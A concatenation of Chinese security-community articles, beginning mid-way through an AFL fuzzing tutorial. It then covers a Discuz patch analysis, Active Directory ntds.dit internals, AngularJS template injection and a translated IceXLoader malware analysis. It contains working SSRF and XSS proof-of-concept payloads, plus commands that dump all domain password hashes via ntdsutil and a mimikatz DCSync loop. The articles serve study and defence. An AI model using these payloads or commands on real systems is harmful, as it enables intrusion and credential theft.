首先是用afl-gcc编译源代码，然后以文件(最好小于1K)为输入，然后启动afl-fuzz程序，将testcase(输入的测试文件)作为程序的输入执行程序，afl会在这个testcase的基础上进行自动变异输入，使得程序产生crash，产生了crash就会被记录起来
## 插桩编译
首先把上面的afl_test.c进行编译：
**afl-gcc -g -o afl_test afl_test.c**
同样的，如果是编译一个c++的源码，那就需要用afl-g++
接着建立两个文件夹：fuzz_in和fuzz_out，用来存放程序的输入和fuzz的输出结果
在fuzz_in中还需要创建一个testcase文件，在这个程序的例子里，只需要随便输入一点东西就行了，那么testcase中就写aaa就可以了
**注意**
在编译项目时，通常有Makefile，这时就需要在Makefile中添加内容
gcc/g++重新编译目标程序的方法是：
CC=/path/to/afl/afl-gcc ./configure
make clean all
对于一个C++程序，要设置:
CXX=/path/to/afl/afl-g++.
afl-clang和afl-clang++的使用方法类似。
## 开始fuzz
对那些可以直接从stdin读取输入的目标程序来说，语法如下：
$ ./afl-fuzz -i testcase_dir -o findings_dir /path/to/program […params…]
对从文件读取输入的目标程序来说，要用“@@”，语法如下：
$ ./afl-fuzz -i testcase_dir -o findings_dir /path/to/program @@
输入命令： **afl-fuzz -i fuzz_in -o fuzz_out ./afl_test**
表示，从fuzz_in中读取输入，输出放入fuzz_out中，afl_test是我们要进行fuzz的程序，-f参数表示：testcase的内容会作为afl_test的stdin
接下来一般都会报错：
需要根据提示设置一波core_pattern
* sudo su
* echo core >/proc/sys/kernel/core_pattern
再次执行 **afl-fuzz -i fuzz_in -o fuzz_out ./afl_test**
## AFL界面
进入fuzz后，就会出现这样的界面
下面对界面进行一波介绍：
`process timing`
这里展示了当前fuzzer的运行时间、最近一次发现新执行路径的时间、最近一次崩溃的时间、最近一次超时的时间。
值得注意的是第2项，最近一次发现新路径的时间。如果由于目标二进制文件或者命令行参数出错，那么其执行路径应该是一直不变的，所以如果从fuzzing开始一直没有发现新的执行路径，那么就要考虑是否有二进制或者命令行参数错误的问题了。对于此状况，AFL也会智能地进行提醒
`overall results`
这里包括运行的总周期数、总路径数、崩溃次数、超时次数。
其中，总周期数可以用来作为何时停止fuzzing的参考。随着不断地fuzzing，周期数会不断增大，其颜色也会由洋红色，逐步变为黄色、蓝色、绿色。一般来说，当其变为绿色时，代表可执行的内容已经很少了，继续fuzzing下去也不会有什么新的发现了。此时，我们便可以通过Ctrl-C，中止当前的fuzzing
`stage progress`
这里包括正在测试的fuzzing策略、进度、目标的执行总次数、目标的执行速度
执行速度可以直观地反映当前跑的快不快，如果速度过慢，比如低于500次每秒，那么测试时间就会变得非常漫长。如果发生了这种情况，那么我们需要进一步调整优化我们的fuzzing
以上是简单的介绍，如果要看完整的可以查看[官方的文档](http://lcamtuf.coredump.cx/afl/status_screen.txt)
## 分析crash
通过上图，我们发现跑了五分钟以后就发现了6个crash
这时，可以去我们先前建立的fuzz_out目录看看产生了啥东西：
crashes文件夹里面是我们产生crash的样例，hangs里面是产生超时的样例，queue里面是每个不同执行路径的测试用例
我们来看看crash的6个样例：
第一个样例，发现符合栈溢出漏洞的crash情况
第二个样例，发现符合首字符为F且字符串长度为6的异常退出情况
第三个样例，发现符合格式化字符串的%n任意地址写的漏洞情况
第四个样例，发现符合栈溢出漏洞的crash情况
第五个样例，发现符合栈溢出漏洞的crash情况
第六个样例，发现符合首字符为A且字符串长度为66的异常退出情况
至此，我们自己编写的简单程序的所有漏洞都被检测出来了，这个过程只用了5分钟，afl可以说是很强大的
# 无源码AFL测试
上面是对进简单的有源码的程序进行测试的，但是实际情况下不可能每次都有源码进行插桩编译测试，afl使用了qemu模式进行测试，只要在之前的命令的基础上加上-Q的参数即可
但是要先进行安装,在afl的根目录打开终端执行以下命令
* cd qemu_mode
* ./build_qemu_support.sh
* cd ..
* make install
## 简单无源码fuzz
接着还是用上面的简单c代码进行测试，但是这次采用gcc进行编译，不再用afl-gcc
* gcc -g -o afl_test2 afl_test.c
得到afl_test2程序后，就可以进行fuzz了
同样的要在开始fuzz前创建fuzz_in 、fuzz_out两个文件夹
执行命令：
* afl-fuzz -i fuzz_in -o fuzz_out -Q ./afl_test2
结果我们可以看到;
同样的程序，在qemu
模式下比在源码编译插桩的模式下慢了很多，同样五分钟的时间，只爆了4个crash，执行速度也只有600+/s，和之前的4700+/s形成鲜明对比
## fuzz readelf
这里再用一个例子来fuzz一下，测试readelf
由于readelf的输入其实就elf文件，因此需要在in目录中放一个输入elf
按照流程创建文件夹和测试用的elf
* mkdir in out
* cd in
* cp afl-2.52b/testcases/others/elf/small_exec.elf . #afl目录中自带一些常用文件的testcase
* cd ..
* sudo cp /usr/bin/readelf . #把readelf复制到当前目录中来
* afl-fuzz -i in -o out -Q ./readelf -a @@ #开始fuzz，@@表示从in文件夹中找elf作为输入，实际上就是在执行：readelf -a 文件名
可以看到，这里我跑了51分钟，硬是第一轮都没跑完
# 参考资料
<http://galaxylab.org/afl%E4%BD%BF%E7%94%A8101/>
<https://www.freebuf.com/articles/system/191536.html>
<https://blog.csdn.net/abcdyzhang/article/details/53727221>
<https://stfpeak.github.io/2017/06/11/Finding-bugs-using-AFL/#afl%E5%B7%A5%E4%BD%9C%E6%B5%81%E7%A8%8B>
<https://blog.csdn.net/qq_36779888/article/details/79998920>
<https://www.cnblogs.com/WangAoBo/p/8280352.html#_label4> | 社区文章 |
# DZ_20151208补丁分析_SSRF&XSS
|
##### 译文声明
本文是翻译文章，文章来源：ModNar@0keeTeam
译文仅供参考，具体内容表达以及含义原文为准。
**author:ModNar@0keeTeam**
漏洞分析:
我们先来diff看看补丁20151208相对20150609都改了啥:
*source/admincp/admincp_checktools.php IM图片库命令执行(需登录后台)
*source/class/helper/helper_form.php http://www.wooyun.org/bugs/wooyun-2015-0124807 Discuz CSRF发帖POC可蠕虫 (限制referer)
*source/function/function_discuzcode.php http://www.wooyun.org/bugs/wooyun-2015-0150674 SSRF和xss
*source/function/function_followcode.php http://www.wooyun.org/bugs/wooyun-2015-0150674 SSRF和xss
*source/module/forum/forum_viewthread.php http://www.wooyun.org/bugs/wooyun-2015-0151687 帖子正文XSS
*source/module/misc/misc_swfupload.php http://www.wooyun.org/bugs/wooyun-2015-0124807 Discuz CSRF发帖POC可蠕虫 (限制非图片文件上传)
*static/js/bbcode.js http://www.wooyun.org/bugs/wooyun-2015-0139851 最新版Discuz修复不全导致仍可针对管理员存储XSS
*template/default/member/getpasswd.htm 未知
*source/function/function_cloudaddons.php 未知,插件相关
*source/function/function_core.php 功能性bug?
*source/admincp/admincp_cloudaddons.php 未知,插件相关
以下选用其中的SSRF和有限制的XSS作分析:
1.bbcode有条件SSRF
补丁都加了个严格匹配开头的正则符^,看起来是正则校验url不严格的问题:
sourcefunctionfunction_discuzcode.php:
科学地使用skywolf,轻松定位到背锅的代码位置:
第4个调用点点开看看:
由以上调用栈可知触发条件是看帖。
Poc:
根据preg_replace的正则和parseflv的正则,我们可以构造如下的payload,
即可通过正则校验使[media]包裹的内容到达file_get_contents调用处:
[media=x,,][http://ip:port/phpinfo.php?cmd=calc.exe&xx=http://www.tudou.com/programs/view/xx.html[/media](http://ip:port/phpinfo.php?cmd=calc.exe&xx=http://www.tudou.com/programs/view/xx.html%5b/media)]
2.bbcode有限制存储XSS
这个文件还修复了一处类似限制条件的存储XSS:
此处是组合的HTML标签,可控点$url处于js中,可用单引号闭合:
调用点也是preg_replace的bbcode解析处:
Poc:
因此构造以下payload即可触发XSS:
[flash][http://www.baidu.com/1.swf?a='));alert(2);//](http://www.baidu.com/1.swf?a=%27\)\);alert\(2\);//)[/flash]
利用限制:
很显然,这次又是bbcode解析的锅,这里用到了preg_replace的/e选项,所以需要php<5.5的支持。$allowmediacode需要为true,通过查看后台相应选项,版块允许使用多媒体代码默认是开的,然而默认只有管理员组才允许发media标签的bbcode。
利用演示:
假设内网一处[http://10.0.2.15/phpinfo.php](http://10.0.2.15/phpinfo.php)源码如下:
发帖:
查看帖子[http://127.0.0.1/discuz/forum.php?mod=viewthread&tid=12&extra=page=1](http://127.0.0.1/discuz/forum.php?mod=viewthread&tid=12&extra=page=1):
3.无限制SSRF
之前分析的漏洞触发点要求发帖人允许使用多媒体代码,实际上存在无限制的点:
sourcefunctionfunction_followcode.php:
diff这个文件,亮点不在标红代码处,而是在fparsemedia中调用了之前的parseflv!
往上看fparsemedia的调用点:
在function
followcode()中,也有类似之前sourcefunctionfunction_discuzcode.php的bbcode解析,可见此处是没有$allowmediacode条件限制的:
sourcemoduleforumforum_ajax.php:
跟到前台的触发点可构造:
http://127.0.0.1/discuz/forum.php?mod=ajax&tid=11&extra=page=1&action=getpostfeed&flag=1&pid=36
调用栈如下:
因此无限制的利用过程为:
使用任意用户发帖,然后回复该帖子,回复内容同样为:
[media=x,,][http://10.0.2.15/phpinfo.php?cmd=calc.exe&xx=http://www.tudou.com/programs/view/xx.html[/media](http://10.0.2.15/phpinfo.php?cmd=calc.exe&xx=http://www.tudou.com/programs/view/xx.html%5b/media)]
然后访问以下链接触发SSRF,其中fid和tid分别是帖子的id和回复的id:
http://127.0.0.1/discuz/forum.php?mod=ajax&tid=11&extra=page=1&action=getpostfeed&flag=1&pid=36 | 社区文章 |
# Active Directory 数据库详解
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 介绍
在Active Directory中，存储的数据包含有数据库文件和管理用户，服务和应用程序的目录信息的数据库文件和进程。
数据存储的副本在林中的每个域控制器上运行。 在我们搭建完一个域环境过后，我们知道域用户的密码 C:WindowsNTDSntds.dit
中，本文就重点介绍在AD域中Windows 是如何存储数据，数据存储的协议及ESE存储方式，还会介绍几种提取域用户密码的方法。
## 0x01 数据存储结构
Active Directory数据存储由若干组件组成，这些组件一起为目录客户端和其他目录服务器提供目录服务。
这些组件包括三个服务组件，四个接口和实际存储数据的目录数据库。
下图说明了数据存储的体系结构。
1. 4个接口：`Lightweight Directory Access Protocol (LDAP), replication (REPL) and domain controller management interface, Messaging API (MAPI), Security Accounts Manager (SAM))` 主要是提供给客户端与服务器端的交流。
2. `Directory System Agent (DSA) (Ntdsa.dll)` DSA在每个域控制器上作为Ntdsa.dll运行，提供客户端和其他服务器通过其访问目录数据库的接口。
3. `Database layer` 数据库层是在ntdsa.dll中的，并提供应用程序和目录数据库之间的接口，以保护数据库不与应用程序的直接交互。由于目录数据库是扁平的，没有分层命名空间，因此数据库层为数据库提供了对象层次结构的抽象。
4. `Extensible Storage Engine (ESE) (Esent.dll)` ESE作为Esent.dll运行，管理组成目录数据库的记录表 – 每个记录包含一个或多个列。
5. `Database files` 数据存储将目录信息存储在名为Ntds.dit的单个数据库文件中。 此外，数据存储还使用日志文件，临时写入未提交的事务。
## 0x02 数据存储协议
Active Directory数据存储使用的主要协议是轻量级目录访问协议（LDAP），它在TCP / IP之上运行。 此外，数据存储使用remote
procedure call(RPC)进行MAPI，复制，域控制器管理和SAM相关操作。
虽然它没有被广泛使用，但数据存储还支持使用简单邮件传输协议（SMTP）在域控制器之间进行复制。
1. `LDAP` 可以通过TCP/IP，也可以通过UDP的方式。通过默认的389端口，去创建，查询，更新，删除存储在AD中的信息。AD支持 LDAP v2 (RFC 1777) and LDAP v3 (RFC 2251)。
2. `RPC` 数据存储使用RPC进行复制（REPL）和域控制器管理通信，MAPI通信和SAM相关通信。 RPC是一种功能强大，高效且安全的进程间通信（IPC）机制，可以实现数据交换和驻留在不同进程中的功能调用。 该不同的进程可以在同一台计算机上，局域网（LAN）上，也可以在Internet上。
3. `SMTP` 数据存储可以使用Internet标准SMTP作为复制通信的协议。 SMTP用于根据Request for Comments（RFC）821和RFC 822中的规范传输和传递消息.SMTP还包括基于协议的基本传递功能构建的增强功能。 有一些SMTP选项可用于控制消息的路由和传递，并提供安全通信。（[smtp的复制](https://support.microsoft.com/en-us/help/947057/how-to-set-up-smtp-replication-on-windows-server-2008-based-domain-con)）
## 0x03 ESE
The Extensible Storage Engine (ESE) 是Active
Directory以及其他几个Windows组件使用的Windows组件，作为存储在索引和顺序访问方法（ISAM）数据库中的数据的接口。 （Active
Directory数据库是[ISAM数据库](https://en.wikipedia.org/wiki/ISAM)。）
有很多应用都是使用JET APIs 去访问ESE 的数据库。
* `esentutl` 这是windows AD服务器内置的工具，去校验ESE数据库。
* `eseutil` 这是Exchange 中的带有的工具，跟上一个工具一样的使用。，随便在附上一个Exchange 安装的[教程](http://www.cnblogs.com/jianyus/p/3170732.html)。
* `ntdsutil` 管理AD 或者ADLDS的工具，默认安装。
1.ESE 逻辑结构
使用的工具在[这里](https://www.nirsoft.net/utils/ese_database_view.html)下载，这个网站还有很多查看系统各种东西的工具。。
从图中可以看出来很多表，在所有ESE数据库都有一个名为MSysObjects和MSysObjectsShadow的表，它是MSysObjects的备份。
* 所有表及其表名以及它们关联的B +树在数据库中的起始位置以及其他各种元数据。
* 每个表的所有列及其名称，存储在其中的数据类型以及各种模式约束。
* 表上的所有索引及其名称，以及它们关联的B +树在数据库中的起始位置。
2.ESE 物理结构
一个ESE 数据库也是存储在硬盘当中的。每个数据库中的header 都有page的大小，AD 通常都是8k。
第一页H就是header，SH是header的复制，页面编号1是其中的第三页。
**esentutl /mh** 可以查看page大小， **cbDbPage** 就是page的大小， AD 和ADLDS
的page大小都是8K。其他的ESE数据库的大小不一样。
关于其中的[B+树](https://en.wikipedia.org/wiki/B%2B_tree)。
## 0X04 导出域用户密码
1\. vss 提取不想写了，网上GOOGLE吧。
2\. NTDSUtil获取ntds.dit文件`ntdsutil "ac i ntds" "ifm" "create full c:temp" q q`
3.powershell 方式
用这个脚本：`https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-NinjaCopy.ps1`
4.Mimikatz的DCSync
要想批量导出所有用户，先把用户名导出到TXT中，在`for /f "tokens=1" %i in (username.txt) do
[@mimikatz](https://github.com/mimikatz "@mimikatz").exe "lsadump::dcsync
/user:%i /domain:localtest.com" exit >> info.txt`
这样就导出所有用户的HASH了。从下面防御规则可以看出，是调用了我们所说的四种接口中的`replication (REPL) and domain
controller management interface` 。
防御规则：
5.Impacket
我觉得这个是最好的工具，支持本地ntds.dit的解析，及获取历史记录等，最常用就是这个了。
impacket 只有python 版的，而且在windows 下支持不好，所以可以直接编译一个windows
下的impacket，参考[这里](https://github.com/maaaaz/CrackMapExecWin/wiki/How-to-compile-CrackMapExec-for-Windows)。
## 0x05 总结
本文就是粗略介绍了在AD中数据的存储方式，ESE 具有高效，安全的特性，所以在Windows
中很多应用都有用到。对于其中LDAP，RPC这些比较重要的协议，也没有详细解析了。
审核人：yiwang 编辑：边边 | 社区文章 |
# AngularJS客户端模板注入
|
##### 译文声明
本文是翻译文章，文章来源：360安全播报
原文地址：<http://blog.portswigger.net/2016/01/xss-without-html-client-side-template.html>
译文仅供参考，具体内容表达以及含义原文为准。
**摘要**
[AngularJS](https://angularjs.org/)是时下非常流行的一款JavaScript框架。研究人员发现，攻击者可以利用Angular模版注入来攻击大量使用了AngularJS框架的网站。相较于[服务器端的模版注入](http://blog.portswigger.net/2015/08/server-side-template-injection.html)，AngularJS客户端模版注入则显得更加的低调，如果攻击者将AngularJS客户端模版注入与Angular沙盒逃逸这两种技术方法结合使用，那么攻击者就可以对目标网站发动跨站脚本（XSS）攻击了。直到目前为止，还没有发现任何有关
1.3.1+以及1.4.0＋版本的Angular框架受到沙盒逃逸影响的信息公布出来。在这篇文章中，我们将对Angular模版注入的核心概念进行介绍，并且还会给大家演示一种能够影响所有Angular版本的新型沙箱逃逸技术。
**介绍**
AngularJS诞生于2009年，该框架由Misko Hevery
等人创建，之后被谷歌公司所收购。它是一款非常优秀的前端JS框架，目前已经被用于谷歌的多款产品当中。AngularJS有着诸多特性，最为核心的是：MVVM、模块化、自动化双向数据绑定、语义化标签、依赖注入等等。AngularJS是为了克服HTML在构建应用上的不足而设计的。HTML是一门很好的为静态文本展示设计的声明式语言，但要构建WEB应用的话它就显得乏力了。所以AngularJS使用了不同的方法，以尝试去补足HTML本身在构建应用方面的缺陷。AngularJS正在发展成为WEB应用中的一种端对端的解决方案，这意味着它不只是你的WEB应用中的一个小部分，还是一个完整的端对端的解决方案。
Angular模版可以在双花括号内包含类似JavaScript代码的[表达式](https://docs.angularjs.org/guide/expression)代码段。大家可以点击下列地址来了解其具体的工作机制：
[http://jsfiddle.net/2zs2yv7o/](http://jsfiddle.net/2zs2yv7o/)
例如，用户输入{{1+1}}，在Angular中这是一个求值表达式，在经过处理之后，系统会输出：2。
这也就意味着，只要可以注入双花括号，任何人都可以执行Angular语句。
Angular表达式本身并不会引起非常严重的影响，但是当我们配合沙箱逃逸技术一起使用时，我们就可以在目标主机中执行任意的JavaScript代码了，而这样一来，我们也就可以在破坏目标网站系统了。
下面给出的两个代码段显示了这一漏洞的关键部分。第一个代码段能够动态嵌入用户的输入信息，但是攻击者并不能利用这个来进行XSS攻击，因为这段代码在HTML代码中使用了html特殊字符来对用户的输入数据进行编码：
<html>
<body>
<p>
<?php
$q = $_GET['q'];
echo htmlspecialchars($q,ENT_QUOTES);
?>
</p>
</body>
</html>
第二个代码段几乎与第一个代码段是完全相同的，但是导入Angular的操作意味着攻击者可以利用Angular表达式来进行任意代码注入，再配合使用沙箱逃逸技术，我们就可以对目标进行XSS跨站脚本攻击了。
<html ng-app>
<head>
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.4.7/angular.js"></script>
</head>
<body>
<p>
<?php
$q = $_GET['q'];
echo htmlspecialchars($q,ENT_QUOTES);?>
</p>
</body>
</html>
请注意，你需要在代码头部的HTML标签中加入“ng-app”。通常情况下，Angular网站将会在html标签或者body标签中使用这一参数。
换而言之，如果某一页面使用了Angular模版进行开发，那么我们对其进行XSS攻击的过程也将变得非常的简单。幸运的是，我们已经找到了解决这一问题的方法。
**沙箱**
Angular框架有其自身的沙盒机制，目的就是保证整个框架中的各个组件能够负责相应的操作。如果我们要对目标用户进行攻击，那么首先我们就得打破这一沙盒机制，然后才能执行任意的JavaScript代码。
现在，我们使用Chrome浏览器打开angular.js文件，并在第13275行代码加入一个[中断点](https://developers.google.com/web/tools/javascript/breakpoints/add-breakpoints?hl=en)。在Chrome的调试窗口中，添加一个新的表达式“fnString”。浏览器将会把已转换的输出结果显示给我们。表达式1+1的转换结果为：
"use strict";
var fn = function(s, l, a, i) {
return plus(1, 1);
};
return fn;
所以，系统会对表达式进行解析和重写，然后Angular才会执行相应的语句。如果大家想了解相关函数的构造函数，请点击下列地址获取：
[http://jsfiddle.net/2zs2yv7o/1/](http://jsfiddle.net/2zs2yv7o/1/)
从这里开始，可能一切将变得更加有趣了。下列代码段显示的是重写后的输出结果：
"use strict";
var fn = function(s, l, a, i) {
var v0, v1, v2, v3, v4 = l && ('constructor' in l),
v5;
if (!(v4)) {
if (s) {
v3 = s.constructor;
}
} else {
v3 = l.constructor;
}
ensureSafeObject(v3, text);
if (v3 != null) {
v2 = ensureSafeObject(v3.constructor, text);
} else {
v2 = undefined;
}
if (v2 != null) {
ensureSafeFunction(v2, text);
v5 = 'u00281u0029';
ensureSafeObject(v3, text);
v1 = ensureSafeObject(v3.constructor(ensureSafeObject('u00281u0029', text)), text);
} else {
v1 = undefined;
}
if (v1 != null) {
ensureSafeFunction(v1, text);
v0 = ensureSafeObject(v1(), text);
} else {
v0 = undefined;
}
return v0;
};
return fn;
正如你所见到的那样，Angular会使用ensureSafeObject函数来依次对每一个对象进行检测。[ensureSafeObject函数](https://github.com/angular/angular.js/blob/v1.4.6/src/ng/parse.js#L60-L85)能够检测某一对象是否为一个函数的构造方法，窗口对象，DOM参数，或者对象构造方法。上述检测中只要有一个参数为真（true），系统将会挂起当前正在执行的语句，同时还会防止该语句访问全局变量。
除此之外，Angular还有一些其他可以进行安全检测的函数，例如[ensureSafeMemberName](https://github.com/angular/angular.js/blob/v1.4.6/src/ng/parse.js#L40-L58)和[ensureSafeFunction](https://github.com/angular/angular.js/blob/v1.4.6/src/ng/parse.js#L91-L103)。ensureSafeMemberName会对JavaScript文件的属性进行检测，并且确保其中不包含__proto__
etc。ensureSafeFunction会对函数的调用信息进行检测，以确保函数不会调用，应用，或者绑定函数构造方法。
**sanitizer崩溃**
Angular
sanitizer使用JavaScript进行开发，它是Angular客户端的过滤器，它可以增强Angular框架的安全性能，并且允许在HTML代码中绑定名为ng-bing-html的属性，我们可以在这个属性中添加需要过滤的参数。
当我对Angular
sanitizer进行检测时，我打算使用Angular语句来重写框架中原生的JavaScript函数。但问题就是Angular表达式既不支持函数声明，也不支持函数表达式，所以我无法重写框架中的功能函数。在思考片刻之后，我想到了String.fromCharCode。因为函数是由字符串构造方法调用的，而不是通过字符串调用的，函数中的“this”应该是字符串的构造方法。也许我可以找到fromCharCode函数的后门！
如何在无法创建函数的情况下，在fromCharCode函数中创建一个后门呢？
很简单：重用一个已有的函数！唯一的问题就是，如何才能控制fromCharCode函数每次调用的值呢？如果我们使用数组，那么我们就可以向字符串的构造方法提供一个伪造的数组。我们要做的就是提供一个长度值和一个数组第一个索引的相应参数。幸运的是，数组已经有长度参数了，因为在创建它时我们就将长度设定为1了。我们只需要为数组的第一个索引提供值。具体操作如下所示：
'a'.constructor.fromCharCode=[].join;
'a'.constructor[0]='u003ciframe onload=(/Backdoored/)u003e';
当String.formCharCode被调用时，你将会得到字符串
<iframe onload=(/Backdoored/)>。在Angular沙盒中，这种方法非常实用。如果大家想要了解更多详细信息，请点击下列地址获取：
[http://jsfiddle.net/2zs2yv7o/2/](http://jsfiddle.net/2zs2yv7o/2/)
我继续对Angular
sanitizer的代码进行审查，但我找不到任何与String.fromCharcode有关的函数调用。然后我又对其他的原生函数进行了检查，并且找到了一个非常有趣的函数：charCodeAt。如果我可以重写这个值，那么它就可以在不被过滤的情况下注入函数之中了。但是，现在仍然有一个问题：这一次，“this”值将会是一个字符串，而不是字符串的构造方法。这也就意味着，我不能使用同样的方法来重写函数了，因为我无法对字符串的索引和长度进行修改，因为这不是一个可写的字符串。
然后，我打算使用[].concat；这个函数可以将字符串和参数等相关信息一起返回。如果你想要了解这一操作中的相关技术细节和输出信息，请点击下列地址获取：
[http://jsfiddle.net/2zs2yv7o/3/](http://jsfiddle.net/2zs2yv7o/3/)
这样一来，我们就可以破解Angular Sanitizer了，因为现在我可以向其注入任意的恶意参数。sanitizer代码如下：
if (validAttrs[lkey] === true && (uriAttrs[lkey] !== true || uriValidator(value, isImage))) {
out(' ');
out(key);
out('="');
out(encodeEntities(value));
out('"');
}
encodeEntities函数代码如下：
function encodeEntities(value) {
return value.
replace(/&/g, '&').
replace(SURROGATE_PAIR_REGEXP, function(value) {
var hi = value.charCodeAt(0);
var low = value.charCodeAt(1);
return '&#' + (((hi - 0xD800) * 0x400) + (low - 0xDC00) + 0x10000) + ';';
}).
replace(NON_ALPHANUMERIC_REGEXP, function(value) {
return '&#' + value.charCodeAt(0) + ';';
}).
replace(/</g, '<').
replace(/>/g, '>');
}
**沙箱逃逸**
我对Angular的源代码进行了检测，并且在我寻找String.fromCharCode函数调用的过程中，我发现了一个非常有趣的实例。具体信息可以从下列地址中获取：
[http://jsfiddle.net/2zs2yv7o/4/](http://jsfiddle.net/2zs2yv7o/4/)
由于篇幅有限，有关沙箱逃逸部分的技术信息请大家阅读原文获取。
**总结**
如果你正在使用Angular，那么你就得对花括号中的用户输入信息进行严格的处理，在阅读完这篇文章之后，你也知道了这类信息能够产生多大的影响。除此之外，你也应该避免服务器端对用户的输入数据进行完整的响应。其他大多数的JavaScript框架都会采取各种机制来避免这种危险，例如有的框架不支持在HTML文件中的任意位置执行语句。
谷歌公司肯定知道这个问题存在，但是我们并不知道他们就这个问题到底了解多少。在Angular文档的中，谷歌就明确表示建议开发人员不要在模版中动态嵌入用户的输入数据，但这也让人们误以为Angular的源代码中不存在任何的XSS漏洞。这个问题不只存在与客户端模版之中，Angular服务器端模版也会受到这个问题的影响。
我认为这个问题将会引起更广泛的关注，因为这个问题涉及到最新版本Angular框架的沙盒逃逸。所以，你现在应该考虑的是如何在你引入JavaScript文件的过程中，保证你网站的安全。 | 社区文章 |
**作者：Natalie Zargarov
译者：知道创宇404实验室翻译组
原文链接：<https://minerva-labs.com/blog/new-updated-icexloader-claims-thousands-of-victims-around-the-world/>**
IceXLoader于去年六月被[FortiGuard实验室](https://www.fortinet.com/blog/threat-research/new-icexloader-3-0-developers-warm-up-to-nim)发现。它是一种商业恶意软件，用于在受感染的计算机上下载和部署其他恶意软件。虽然 6 月份发现的版本 （v3.0）
看起来像是一个正在进行的工作，但我们最近观察到一个新的 v3.3.3 加载程序，它看起来功能齐全，并且包括一个多级交付链。
图1-IceXLoader交付链
## 第一阶段dropper
受害者收到一个包含第一阶段提取器的存档文件。提取程序包含下一阶段可执行文件以及资源中的不同提取设置：
图2–Dropper资源
提取器在C:\Users\\AppData\Local\Temp下创建一个新的.tmp文件夹，并将下一阶段文件（STOREM~2.EXE–.NET
downloader）放入其中：
图3–已删除的文件
如果设置了REBOOT资源，受感染的工作站将重新启动。然后，提取器在HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce下创建一个名为wextract_cleanup0的新注册表项，并将其设置为“rundll32.exe
C:\Windows\system32\advpack.dll，DelNodeRunDLL32”C:\Users\username\AppData\Local\Temp\IXP000.TMP\”。这将在下次计算机重新启动时删除提取器创建的临时文件夹。
最后，执行下一阶段的下载程序，并退出提取器进程。
### 下载器
提取器删除的可执行文件（STOREM~2.EXE）是一个简单的.Net下载器，它从硬编码的URL下载“.png”文件：
图4–下载IceXLoader dropper
下载的流被转换为字节数组（Fcyozgdveenwuzwbrsmfqu.dll），然后将其加载到下载器的新线程（STOREM~2.EXE）中，然后调用作者硬编码的方法：
图5–dropper的执行
## IceXLoader dropper
下载的DLL是高度模糊的，并负责：
1. 解密IceXLoader
2. 通过验证主机名不等于“hal9th”，并且用户名不是“johndoe”，确保文件不会在Microsoft Defender的模拟器中执行。这被认为是一种常见的逃避技巧。
3. 通过使用加密命令执行 PowerShell，将执行延迟35秒–– “C：\Windows\System32\WindowsPowerShell\v1.0\powershell.exe” -enc UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAAMwA1AA==“ – 这是黑客通常使用的技术，以避免由于执行超时而导致的沙盒。
4. 使用process Hollowing技术将IceXLoader注入新进程（STOREM~2.EXE）。
## IceXLoader v3.3.3
IceXLoader 的 3.3.3 版本是用 Nim 语言编写的。“[Nim 编程语言](https://nim-lang.org/)是一种简洁、快速的编程语言，可编译为 C、C++ 和
JavaScript”。最近，这种语言的使用越来越受到黑客的欢迎，中国黑客在[Nimbda加载器](https://research.checkpoint.com/2022/chinese-actor-takes-aim-armed-with-nim-language-and-bizarro-aes/)和[TA800](https://www.proofpoint.com/uk/blog/threat-insight/nimzaloader-ta800s-new-initial-access-malware)中也使用这种语言。
IceXLoader 收集受害者的以下信息并将其发送到 C&C 服务器：
1. 昵称 – 由恶意软件作者设置并以二进制硬编码的昵称; 例如我们的昵称是“Opus One”。
2. IP地址。
3. UUID。
4. 用户名和计算机名称。
5. Windows OS版本。
6. 已安装的安全产品。
7. 存在.NET Framework v2.0 和/或 v4.0。
8. 加载器版本 – v3.3.3。
9. 内存信息。
10. CPU 信息。
11. 显卡信息。
12. 时间标识。
图6–信息收集
第一次执行时，IceXLoader 将自身复制到两个目录中：
1. “C：\Users\username\AppData\Roaming\Opus.exe”
2. “C：\Users\ username \AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Opus.exe”
它还在HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run下创建了一个名为“Opus”的新注册表项，并将其设置为“C：\Users\\AppData\Roaming\Opus.exe”。
上述两种技术都用于提供持久性。
图7–注册表持久性
创建持久性后，加载程序通过执行以下命令来执行自身新复制的实例：“cmd /c timeout 2 &
”C：\Users\\AppData\Roaming\Opus.exe“”。这会将执行延迟两秒钟，并删除当前正在执行的文件，在本例中为“C:\Users\\AppData\Local\Temp\IXP000.TMP\
STOREM~2.EXE”，因为加载程序被注入其中。
再次执行时，加载程序通过覆盖（修补）内存中的 AmsiScanBuffer API（扫描用户输入）来绕过 AMSI（反恶意软件扫描接口）保护。AMSI
是一组 Windows API，允许任何应用程序与防病毒产品集成（假设该产品充当 AMSI 提供程序）。Windows
Defender自然而然地充当AMSI提供商，就像许多第三方AV解决方案一样。
图8–将 AmsiScanBuffer 内存更改为可写内存
加载程序还会创建并执行一个.bat文件，该文件禁用Windows Defender的实时扫描，并向Windows
Defender添加排除项，以防止其扫描IceXLoader复制到的目录。
图9– 用于禁用 Windows Defender 的 PowerShell 命令
版本 3.3.3 支持的命令列表与 FortiGuard Labs 描述的命令列表相同。
IceXLoader 尝试从其 C&C 服务器下载额外的可执行文件。此文件作为
medianupdate.exe存储在用户的临时文件夹中。在我们进行调查时，C&C服务器可用的，但除了受害者数据库外的所有文件都被删除了。
## 受害者数据库
数据库文件似乎仍在不断更新（根据“上次修改时间”列）。
图10–C&C服务器
我们检查了数据库文件，似乎是SQLite，其中包含数千条受害者记录，包含了私人家庭电脑和公司电脑的混合。我们开始通知受影响的公司。
## Minerva实验室预防
Minerva Labs 内存注入预防模块，在 IceXLoader 部署的初始阶段就防止了它，从而阻止了进一步的执行流，并在攻击有效开始之前停止了攻击：
MITRE ATT&CK:
T1105 – [入口工具转移](https://attack.mitre.org/techniques/T1105/)
T1140 – [对文件或信息进行模糊处理/解码](https://attack.mitre.org/techniques/T1140/)
T1620 – [反射代码加载](https://attack.mitre.org/techniques/T1620/)
T1497 – [虚拟化/沙盒规避](https://attack.mitre.org/techniques/T1497/)
T1055.012 – [注入流程：Process Hollowing
](https://attack.mitre.org/techniques/T1055/012/)
T1592 –[收集受害者主机信息](https://attack.mitre.org/techniques/T1592/)
